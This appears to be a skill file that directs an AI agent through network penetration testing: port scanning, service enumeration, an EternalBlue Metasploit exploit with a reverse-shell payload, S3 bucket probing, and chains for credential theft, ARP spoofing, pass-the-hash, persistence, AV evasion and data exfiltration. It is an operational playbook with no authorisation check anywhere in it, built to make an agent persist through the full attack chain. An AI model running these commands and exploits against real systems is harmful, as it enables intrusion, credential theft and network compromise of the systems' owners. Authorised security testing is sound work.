Before running any commands in this skill:

1. Run bash $SUPERHACKERS_ROOT/scripts/detect-tools.sh if not already run this session
2. For any ❌ missing tool, use the fallback from the chain above

CRITICAL: If SUPERHACKERS_ROOT is not set, auto-detect it first

# Auto-detect SUPERHACKERS_ROOT if not set
if [ -z "${SUPERHACKERS_ROOT:-}" ]; then
  # Try common plugin cache paths
  for path in \
    "$HOME/.claude/plugins/cache/superhackers/superhackers/1.2.* \
    "$HOME/.claude/plugins/cache/superhackers/superhackers/"* \
    "$HOME/superhackers" \
    "$(pwd)/superhackers"; do
    if [ -d "$path" ] && [ -f "$path/scripts/detect-tools.sh" ]; then
      export SUPERHACKERS_ROOT="$path"
      echo "Auto-detected SUPERHACKERS_ROOT=$SUPERHACKERS_ROOT"
      break
    fi
  done
fi

# Verify detection worked
if [ -z "${SUPERHACKERS_ROOT:-}" ] || [ ! -f "$SUPERHACKERS_ROOT/scripts/detect-tools.sh" ]; then
  echo "ERROR: SUPERHACKERS_ROOT not set and auto-detection failed"
  echo "Please set: export SUPERHACKERS_ROOT=/path/to/superhackers"
  return 1
fi

Tool Execution Protocol

MANDATORY: All infrastructure testing commands MUST follow this protocol:

1. Timeout on network scans: Network operations can hang indefinitely

   # Port discovery with rustscan (3 seconds per target)
   bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 60 rustscan -a target --ulimit 5000
   
   # Nmap service detection (2-5 minutes depending on ports)
   bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 300 nmap -sV -sC -p 22,80,443 target
   
   # NSE scripts (2 minutes per script)
   bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap --script smb-enum-shares -p445 target
   

2. Validate scan output before proceeding

   OUTPUT=$(timeout 60 rustscan -a target 2>&1)
   EXIT_CODE=$?
   
   if [ $EXIT_CODE -eq 124 ]; then
     echo "TOOL_FAILURE: rustscan timeout after 60 seconds"
     echo "FALLBACK: Using nmap with timeout"
   

bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap -sS --top-ports 1000 target elif [ $EXIT_CODE -ne 0 ]; then echo "TOOL_FAILURE: rustscan failed with exit code $EXIT_CODE" echo "FALLBACK: Using nmap directly" bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 180 nmap -sS -p- target fi

Check for open ports

if echo "$OUTPUT" | rg -q "Open.*port|open port"; then echo "Open ports discovered" PORTS=$(echo "$OUTPUT" | rg -o "\d{1,5}/open" | rg -o "^\d+" | tr '\n' ',') else echo "INFO: No open ports found or scan failed" fi

3. **Fallback for masscan/nmap**
```bash
# Primary: nmap
if ! command -v nmap >/dev/null 2>&1; then
  echo "FALLBACK: nmap not found, trying masscan"
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 60 masscan -p1-65535 target --rate=1000
  if [ $? -ne 0 ]; then
    echo "FALLBACK: Using nc for port scan"
    for port in 21 22 23 80 443 445 3389; do
bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 2 nc -zv target $port 2>&1 | rg -i "succeeded|open"
    done
  fi
fi

4. Metasploit framework validation

   # Verify msfconsole is accessible
   if ! command -v msfconsole >/dev/null 2>&1; then
     echo "FALLBACK: Metasploit not found, using searchsploit + manual"
     searchsploit --nmap "target" | head -10
   fi
   

Overview

Role: Infrastructure Security Specialist — Your job is to test network services, server configurations, and infrastructure components for security vulnerabilities. Stay in your lane: you test infrastructure, you do NOT test web application logic or write final reports.

Infrastructure penetration testing methodology covering the full attack chain: discovery → enumeration → vulnerability assessment → exploitation → post-exploitation → lateral movement → privilege escalation. This skill drives network-level assessments against servers, services, Active Directory environments, and cloud infrastructure.

Pipeline Position

Position: Phase 3 (Testing, infrastructure-focused) — after recon-and-enumeration, before vulnerability-verification Expected Input: Recon deliverable containing: host inventory, open ports, running services, OS fingerprints, network topology Your Output: Infrastructure security findings with evidence — misconfigurations, vulnerable services, default credentials, privilege escalation paths Consumed By: vulnerability-verification (confirms findings), exploit-development (for PoC), writing-security-reports (documents findings) Critical: Your findings go to verification — do NOT self-verify. Focus on thorough infrastructure-specific discovery.

REQUIRED SUB-SKILL: Use superhackers:recon-and-enumeration for initial target scoping and OSINT before infrastructure testing.

When to Use

• External or internal network penetration test engagement
• Host discovery and port scanning tasks
• Service enumeration on discovered hosts
• Exploiting network services (SSH, SMB, RDP, FTP, etc.)
• Active Directory domain compromise
• Password cracking and credential attacks
• Network-level attacks (MITM, ARP spoofing, DNS poisoning)
• Cloud infrastructure assessment (AWS, GCP, Azure)
• Post-exploitation, pivoting, and lateral movement
• Privilege escalation on compromised hosts

Core Pattern

1. HOST DISCOVERY     → Find live targets on the network
2. PORT SCANNING      → Identify open ports and services
3. SERVICE ENUM       → Fingerprint services, grab banners, find versions
4. VULN ASSESSMENT    → Map vulnerabilities with NSE scripts and nuclei
5. EXPLOITATION       → Gain initial access via exploits or credential attacks
6. POST-EXPLOITATION  → Escalate privileges, establish persistence
7. LATERAL MOVEMENT   → Pivot to other hosts, move through the network
8. DATA EXFILTRATION  → Locate and extract target data
9. REPORTING          → Document findings with evidence

Execution Discipline

• Persist: Continue working through ALL steps of the Core Pattern until completion criteria are met. Do NOT stop after a single tool run or partial result.
• Scope: Work ONLY within this skill's methodology. Do NOT jump to another phase (e.g., don't start writing the report while still testing).
• Negative Results: If thorough testing reveals no vulnerabilities, that IS a valid result. Document what was tested and report "no findings" — do NOT invent issues.
• Retry Limit: Max 3 attempts per test. If blocked, classify the failure (see Failure Recovery Protocol) and proceed.

REQUIRED SUB-SKILL: Use superhackers:writing-security-reports for step 9.

Implementation

Phase 1: Host Discovery

ARP Discovery (local network):

# ARP scan for local subnet - fastest for L2 adjacent targets
nmap -sn -PR 192.168.1.0/24 -oG discovery.txt

# Parse live hosts
rg "Up" discovery.txt | awk '{print $2}' > live_hosts.txt

ICMP and TCP Discovery (remote networks):

# Combined ICMP echo + TCP SYN on common ports for discovery
nmap -sn -PE -PS22,80,443,445,3389 -PP -PM 10.10.10.0/24 -oA host_discovery

# When ICMP is blocked, use TCP-only discovery
nmap -sn -PS21,22,23,25,80,110,139,443,445,3306,3389,8080 10.10.10.0/24

Using bettercap for network discovery:

# Start bettercap for passive and active network recon
sudo bettercap -iface eth0

# Inside bettercap interactive:
net.probe on
net.show
net.recon on

Phase 2: Port Scanning

Staged scanning approach — rustscan first, then targeted nmap (REQUIRED PATTERN):

Never run nmap full-range scans as the primary scanner. rustscan completes all 65535 TCP ports in seconds — nmap takes minutes and frequently times out silently. Use rustscan for discovery, nmap only for service/version/script on confirmed open ports.

# Stage 1: Fast full TCP port discovery with rustscan
rustscan -a <target> --ulimit 5000 -b 1000 -- --open -oG scan_rustscan_ports.gnmap
OPEN_PORTS=$(rg -o '[0-9]+/open' scan_rustscan_ports.gnmap | cut -d/ -f1 | sort -n | paste -sd',')
echo "Confirmed open TCP ports: $OPEN_PORTS"

# Stage 2: Service version + script detection on confirmed open ports only
nmap -sV -sC -p "$OPEN_PORTS" <target> -oA scan_services

# Stage 3: OS detection on confirmed open ports
nmap -O --osscan-guess -p "$OPEN_PORTS" <target> -oA scan_os

# Stage 4: UDP scan top ports (rustscan does not support UDP — nmap only)
nmap -sU --top-ports 50 -T4 <target> -oA scan_udp

# Stage 5: NSE scripts — service specific, confirmed ports only (always with timeout)
# For macOS compatibility, use: bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh <seconds> <command...>

# For long-running commands, use: bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap --script vuln -p "$OPEN_PORTS" <target> -oA scan_vuln_nse
# For long-running commands, use: bash $SUPERHACKERS_ROOT/scripts/timeout-helper.sh 120 nmap --script smb-enum-shares,smb-enum-users -p 445 <target> -oN scan_smb.txt

# FALLBACK: If rustscan unavailable, use nmap with rate limit
# nmap -sS -p- -T4 --min-rate 1000 <target> -oA scan_full

Output Validation (MANDATORY)

After every scanning tool execution (nmap, masscan, smbclient, ldapsearch, snmpwalk), validate output:

bash $SUPERHACKERS_ROOT/scripts/validate-output.sh <tool_name> <output_file> <exit_code>

Infrastructure scans are especially prone to silent failures due to firewall rules, wrong interfaces, and permission issues. Always validate. If VALIDATION=failed: check permissions (sudo often required for SYN scans), verify the correct network interface, and confirm target reachability before retrying.

Checkpoint: Mid-Testing Assessment

Before proceeding to advanced techniques, pause and verify:

1. Am I testing the right thing? Re-confirm the technology stack matches your attack approach
2. Are my payloads reaching the target? Verify with a canary request (unique string in parameter — check response/logs for it)
3. Am I getting real responses? Check for WAF/proxy interference (compare response to a known-good baseline)
4. What have I found so far? Inventory findings and their verification status
5. What's my time budget? Am I spending proportional time to remaining scope?

If any answer reveals a problem, reassess before continuing.

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT 4444
check   # Verify vuln before firing
exploit

# Probe bucket names derived from target
for bucket in $(cat bucket_names.txt); do
  curl -s -o /dev/null -w "%{http_code} $bucket\n" "https://${bucket}.s3.amazonaws.com/"
done

REQUIRED SUB-SKILL: Use superhackers:exploit-development when custom exploit development is needed for discovered vulnerabilities.

Chaining Opportunities

From Initial Access

• Anonymous FTP → writable directory → web shell upload → RCE on web server
• Default credentials on admin panel → configuration change → RCE via admin features
• SNMP community string → network topology + credentials → lateral movement

From Credential Access

• Kerberoasted service account → password reuse → lateral movement to other hosts
• NTLM relay → domain admin via unconstrained delegation → full domain compromise
• Cracked hash → password spray across services → mass access

From Network Position

• ARP spoofing → MITM → credential interception → authenticated access
• DNS poisoning → phishing/credential capture → initial access
• SSRF from web server → cloud metadata → IAM credentials → infrastructure compromise

From Post-Exploitation

• Local admin → SAM dump → pass-the-hash → lateral movement
• Domain user → Kerberoast → service account → servers running that service
• Linux root → SSH keys → jump to other hosts → network-wide access
• Meterpreter session → route through pivot → scan internal network → new attack surface

Pro Tips

1. Always check check before exploit: In Metasploit, run check first. Blind exploitation crashes services, burns access, and alerts defenders. The extra 5 seconds saves hours of re-engagement.

2. Password rules matter more than wordlists: Plain rockyou.txt misses Password123!, Summer2024!, CompanyName1!. Chain rules: --rules=best64 for john, -r best64.rule for hashcat. Mutation catches 3x more passwords.

3. Pivot immediately after initial access: First action: background the session, set up persistence, then autoroute through the compromised host. Sessions die; persistence survives.

4. SNMP is the most underrated service: Community string public or private on SNMP gives you network topology, running processes, installed software, and sometimes credentials. Always check UDP 161.

5. Check for password reuse across services: Cracked credentials from one service frequently work on SSH, RDP, SMB, database, and web admin panels. Always spray discovered credentials across all authenticated services.

6. Run local_exploit_suggester immediately: On every new Meterpreter session, run post/multi/recon/local_exploit_suggester. It cross-references the target's patch level against known exploits and saves hours of manual research.

7. Log everything from session start: Run script -a pentest.log before anything else. In Meterpreter, screenshot, sysinfo, getuid immediately. Evidence disappears when sessions die.

8. Don't ARP spoof entire subnets: Target specific hosts with set arp.spoof.targets. Subnet-wide spoofing causes network disruption, crashes switches, and alerts blue team instantly.

9. Extract Kerberos tickets early: Even as a low-privilege domain user, Kerberoasting and AS-REP roasting require no special privileges. Run them first — cracking runs in the background while you continue testing.

10. Clean up as you go: Document every file dropped, account created, config changed, and persistence mechanism installed. Clean up before engagement ends. A cleanup appendix in the report is mandatory.

Common Mistakes

1. Running full port scans against entire subnets first — Start with targeted top-port scans against live hosts. Full -p- scans are for specific interesting targets only. Scanning everything everywhere wastes hours.

2. Skipping UDP scanning entirely — SNMP (161), DNS (53), TFTP (69), NTP (123) often yield critical findings. Run nmap -sU --top-ports 50 on key targets at minimum.

3. Not verifying exploits with check before firing — Always run check in Metasploit before exploit. Blind exploitation crashes services and burns access. Verify the vulnerability exists first.

4. Using default Metasploit payloads — windows/meterpreter/reverse_tcp gets caught by every AV. Use windows/x64/meterpreter/reverse_tcp with encoding, or staged payloads matching target architecture.

5. Cracking hashes without rules — Plain wordlist attacks miss trivially mutated passwords. Always chain rules: --rules=best64 for john, -r best64.rule for hashcat. Password123! won't be in rockyou.txt but rules catch it.

6. Forgetting to screenshot and log everything — Run script -a pentest.log at session start. In Meterpreter, screenshot, sysinfo, getuid immediately. Evidence disappears when sessions die.

7. Not setting up persistence early — Sessions drop. First action after exploitation: background the session, set up a secondary access method, then continue post-exploitation.

8. ARP spoofing the entire subnet — Target specific hosts with set arp.spoof.targets. Spoofing the entire subnet causes network disruption, crashes switches, and alerts blue team instantly.

9. Ignoring patch levels during enumeration — systeminfo on Windows and uname -a on Linux tell you exactly which kernel/OS exploits apply. Cross-reference with local_exploit_suggester output.

10. Not cleaning up after testing — Remove dropped files, kill persistence mechanisms, clear added accounts, restore modified configs. Document everything you changed for the cleanup appendix in the report.

Failure Recovery Protocol

When a testing technique fails, classify the failure before retrying:

Failure Type	Indicators	Recovery Strategy
Technical	Tool crash, timeout, malformed output	Retry with different parameters, alternative tool from fallback chain
Environmental	WAF blocking, rate limiting, network issue	Adjust timing/headers, use different source IP, try alternative endpoint
Conceptual	Payload reaches target but has no effect	Pivot to different attack class entirely
External	Service down, auth expired, scope boundary	Document blocker, skip to next target, revisit later

Solution Diversity Rule: After 2 failed attempts with the same approach category, you MUST:

1. Stop and reassess the attack surface
2. Choose a fundamentally different technique (not just a payload variant)
3. If 3 different approaches all fail, document as "tested, not vulnerable" with evidence

Max Retry Policy: 3 attempts per technique, 3 techniques per vulnerability class, then move on.

REQUIRED SUB-SKILL: Use superhackers:writing-security-reports for documenting all findings with proper evidence and remediation guidance.

Completion Criteria

This skill's work is DONE when ALL of the following are true:

• All hosts and services from the recon deliverable have been tested
• Default credential checks have been performed on all authentication-capable services
• Service-specific vulnerability checks have been completed (SSH, FTP, SMB, RDP, databases, etc.)
• Privilege escalation paths have been evaluated where access was obtained
• Each finding is documented with reproducible evidence
• All todo items created during this phase are marked complete

When all conditions are met, state "Phase complete: infra-pentesting" and stop. Do NOT verify findings or write the final report — those are other skills' jobs.
